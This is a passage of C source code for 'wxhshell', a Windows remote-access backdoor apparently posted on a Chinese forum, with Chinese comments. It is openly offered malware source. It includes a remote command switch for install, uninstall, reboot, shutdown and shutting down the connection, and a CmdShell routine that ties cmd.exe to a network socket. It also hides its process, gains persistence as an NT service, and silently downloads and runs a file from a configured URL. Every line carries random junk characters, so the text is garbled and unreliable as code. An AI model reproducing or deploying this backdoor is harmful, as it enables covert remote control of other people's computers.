  YV O$`W^N  
  // 帮助 mptFd  
  case '?': { /Z:j:l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); No^gKh24  
    break; `2mddx8  
  } Joow{75K  
  // 安装 2Y vr|] \8  
  case 'i': { ge~@}&#iO@  
    if(Install()) *]$B 9zVs!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s^h@b!'7  
    else ".?4`@7F\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XUqorE  
    break; Eb8pM>'qM  
    } X?5{2ulrI  
  // 卸载 Hn|W3U  
  case 'r': { )4yP(6|lx  
    if(Uninstall()) 8dGsV5"*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BI1M(d#1L"  
    else ,>;21\D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aZFpt/.d  
    break; $D bnPZ2$  
    } hbw(o  
  // 显示 wxhshell 所在路径 "tJ+v*E  
  case 'p': { I |Oco?Q"  
    char svExeFile[MAX_PATH]; }Q\%tZC#T  
    strcpy(svExeFile,"\n\r"); q~ H>rC(\  
      strcat(svExeFile,ExeFile); x/*lNG/  
        send(wsh,svExeFile,strlen(svExeFile),0); to={q CqU  
    break; 82r8K|L.<y  
    } -$Oh.B`i  
  // 重启 3_(_yEKx  
  case 'b': { )GD7 rsC`<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &d_^k.%y  
    if(Boot(REBOOT))  WR;1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HK;NR.D  
    else { K"#$",}=  
    closesocket(wsh); (Ou%0 KW  
    ExitThread(0); GAz -yCJp  
    } kpm;ohd  
    break; >Bt82ibN  
    } Xka REE  
  // 关机 1[FN: hm  
  case 'd': { 5^B79A"}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]3KeAJ  
    if(Boot(SHUTDOWN)) }A)\bffH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3BFOZV+  
    else { 9/ <3mF@E  
    closesocket(wsh); h0{X$&:  
    ExitThread(0); dSM\:/t  
    } F.9}jd{  
    break; hZ&KE78?  
    } c_J9CKqc  
  // 获取shell u`pTFy  
  case 's': { VY?9|};f  
    CmdShell(wsh); c+Q'4E0 |  
    closesocket(wsh); ++cS^ Lo  
    ExitThread(0); HW@wia  
    break; eg0_ <  
  } iq#{*:1  
  // 退出 "+HJ/8Dd1  
  case 'x': { 70'OS:J=\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B*,6;lCjX  
    CloseIt(wsh); 6Yu:v  
    break; &f*o rM:  
    } b^o4Q[  
  // 离开 b8mH.g&l  
  case 'q': { PDNl]?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VYk:c`E  
    closesocket(wsh); J9^NHU  
    WSACleanup(); #Hw|P  
    exit(1); ?CpVA  
    break; E C#0-,z  
        } d"wA"*8~y  
  } 8z=# 0+0  
  } _$~>O7  
7J'%;sH  
  // 提示信息 tl#sCf!c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vk2$b{VdF  
} wKJG 31I^  
  } c%H' jB [  
K~W(ZmB  
  return; EVmBLH-a  
} 6^`iuC5  
 X\^nV  
// shell模块句柄 [doEArwn  
int CmdShell(SOCKET sock) s68(jYC7[  
{ dlu*s(O"  
STARTUPINFO si; .-gJS-.c  
ZeroMemory(&si,sizeof(si)); D,#UJPyg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H$![]Ujq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,i>`Urd  
PROCESS_INFORMATION ProcessInfo; Bf{u:TCK  
char cmdline[]="cmd"; 7;>|9k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q lc@$  
  return 0; `fv5U%  
} fzsy<Vl",  
9"~ FKMN  
// 自身启动模式 Z #[?~P  
int StartFromService(void) zsL@0]e&  
{ HC iRk1  
typedef struct %rwvY`\  
{ uwe#& V-  
  DWORD ExitStatus; H:fKv7XL  
  DWORD PebBaseAddress; I}C2;[aB  
  DWORD AffinityMask; v$ ti=uk$  
  DWORD BasePriority; m2]N%Y  
  ULONG UniqueProcessId; o[Iu9.zJpy  
  ULONG InheritedFromUniqueProcessId; a5*r1,  
}   PROCESS_BASIC_INFORMATION; ImXYI7PL  
\&"C  
PROCNTQSIP NtQueryInformationProcess; 1%Xh[  
wh$bDT Cj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U>S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4XkI? l  
k^5Lv#Z  
  HANDLE             hProcess; J1w;m/oV  
  PROCESS_BASIC_INFORMATION pbi; `YhGd?uu$  
T#!>mL|9|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d |17G  
  if(NULL == hInst ) return 0; yw1 &I^7  
^rWg:fb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); atL<mhRz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BP/nK.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p2vN=[g9)  
$n<a`PdH  
  if (!NtQueryInformationProcess) return 0; h"FI]jK|}  
$1f2'_`8~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BgQEd@cN  
  if(!hProcess) return 0; k:0j;\Sx  
zWY988fX0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Lo8pe`DH  
 .NOAp  
  CloseHandle(hProcess); HTQZIm  
,i:?c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !XPjRdq  
if(hProcess==NULL) return 0; W[2]$TwT  
Xa[k=qFo  
HMODULE hMod; =j.TDv'^nd  
char procName[255]; t3<MoDe7`r  
unsigned long cbNeeded; sz9W}&(j  
bzr2Zj{4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,s8/6n#  
+_GS@)L`%  
  CloseHandle(hProcess); 3^8Cc(bk  
4]o+)d.`(  
if(strstr(procName,"services")) return 1; // 以服务启动 Y'U1=w~E  
nCQtn%j't  
  return 0; // 注册表启动 =%<=Bn  
} hGtz[u#p  
PR8nJts W5  
// 主模块 Xf u0d1b  
int StartWxhshell(LPSTR lpCmdLine) Q-7?'\h  
{ }c/p;<  
  SOCKET wsl; g=Z52y`N<  
BOOL val=TRUE; 25>R^2,LiE  
  int port=0; * %D_\0;  
  struct sockaddr_in door; n`,  <g  
)vW'g3u_  
  if(wscfg.ws_autoins) Install(); *Fy6 -CC1  
"Zp&7hI  
port=atoi(lpCmdLine); z\ZnxZ@  
DY2*B"^  
if(port<=0) port=wscfg.ws_port; 56;u 7  
Oe5rRQ$O  
  WSADATA data; $d<NN2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >@vu;j\*E5  
b-u@?G|<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9nFL70  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VZ9 p "  
  door.sin_family = AF_INET; N/tcW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E)-;sFz  
  door.sin_port = htons(port); ,rMf;/[  
sVHF\{<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4*XNk;Dx  
closesocket(wsl); E'x"EN  
return 1; M9iX_4  
} #,#`< h!  
SBxpJsW >  
  if(listen(wsl,2) == INVALID_SOCKET) { #pvq9fss,}  
closesocket(wsl); [F6 )Z[uG  
return 1; 'K7\[if{  
} %o?)`z9-  
  Wxhshell(wsl); D Q.4b  
  WSACleanup(); A5nggg4  
u W]gBhO$O  
return 0; <K CI@  
.W{CJh  
} QAkK5,`vV.  
{H)7K.hQN  
// 以NT服务方式启动 >7W)iwF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +>PsQ^^x  
{ $hm[x$$  
DWORD   status = 0; QuR} 6C  
  DWORD   specificError = 0xfffffff; '{ <RX  
x?S86,RW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FX!KX/OE)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~.T|n =  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w)7y{ya$  
  serviceStatus.dwWin32ExitCode     = 0; ;W- A2g  
  serviceStatus.dwServiceSpecificExitCode = 0; 2 7)If E  
  serviceStatus.dwCheckPoint       = 0; 505c(+  
  serviceStatus.dwWaitHint       = 0; z/\OtYz  
Mt.Cj;h@^[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /43l}6I  
  if (hServiceStatusHandle==0) return; e]~p:  
}m+Q(2  
status = GetLastError(); #D9.A7fCc5  
  if (status!=NO_ERROR) \,13mB6  
{ '8 .JnCg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2M x\D  
    serviceStatus.dwCheckPoint       = 0; Ta\F~$M  
    serviceStatus.dwWaitHint       = 0; u8c@q'_  
    serviceStatus.dwWin32ExitCode     = status; Sr \y1nt  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;"M6}5dQ4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~vXbh(MX  
    return; 8dR `T}  
  } 8&JB_%Gb  
y i$+rPF1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |enLv12Gm  
  serviceStatus.dwCheckPoint       = 0; w"{DLN[Qw  
  serviceStatus.dwWaitHint       = 0; {0,b[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t?"(Zb  
} J%?5d:iN+  
d5^^h<'  
// 处理NT服务事件,比如:启动、停止 ei-\t qY_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !q&Td  
{ k2 Ju*W&  
switch(fdwControl) UF-&L:s[  
{ v~ SM"ky#  
case SERVICE_CONTROL_STOP: s4fO4.bnm  
  serviceStatus.dwWin32ExitCode = 0; RJD{l+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nP%U<$,+  
  serviceStatus.dwCheckPoint   = 0; S%- kN;  
  serviceStatus.dwWaitHint     = 0; ps'_Y<@  
  { BL&AZv/T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]W;6gmV  
  } YYpC!)  
  return; sJLOz>  
case SERVICE_CONTROL_PAUSE: }||u {[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P2vG)u  
  break; ;t0 q ?9  
case SERVICE_CONTROL_CONTINUE: =\lw.59  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?z>J7 }w*=  
  break; w=#'8ZuU  
case SERVICE_CONTROL_INTERROGATE: GST#b6S  
  break; pg%(6dqK4  
}; \ ku5%y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4'z)J1M  
} iyn9[>j e  
R=~%kt_n  
// 标准应用程序主函数 a <C?- g|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OKh0m_ )7  
{ S]fu M%  
%T]$kF++&  
// 获取操作系统版本 JuSS(dJw  
OsIsNt=GetOsVer(); p q`uB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^i|R6oO_5  
6FzB-],  
  // 从命令行安装 x/?ET1iGt  
  if(strpbrk(lpCmdLine,"iI")) Install(); m%6VwV7U  
Z5Lmg  
  // 下载执行文件 E !ndXz 59  
if(wscfg.ws_downexe) { {.2\}7.c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X.>=&~[  
  WinExec(wscfg.ws_filenam,SW_HIDE); HThZ4Kg+  
} a U\|ZCH\]  
;mEn@@{  
if(!OsIsNt) { Dnd; N/9  
// 如果时win9x,隐藏进程并且设置为注册表启动 1dLc/, |  
HideProc(); k\[(;9sf.  
StartWxhshell(lpCmdLine); ,gw9R9 x_  
} }@q/.Ct! x  
else 2 `>a(  
  if(StartFromService()) MS\vrq'_  
  // 以服务方式启动 >$'z4TC\T  
  StartServiceCtrlDispatcher(DispatchTable); F6}RPk\=i  
else =sk[I0W  
  // 普通方式启动 ZGZNZ}~#  
  StartWxhshell(lpCmdLine); r>(,)rs(l  
Mw0>p5+ cy  
return 0; T [$-])iK  
}
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只看该作者 1 发表于: 2006-10-10
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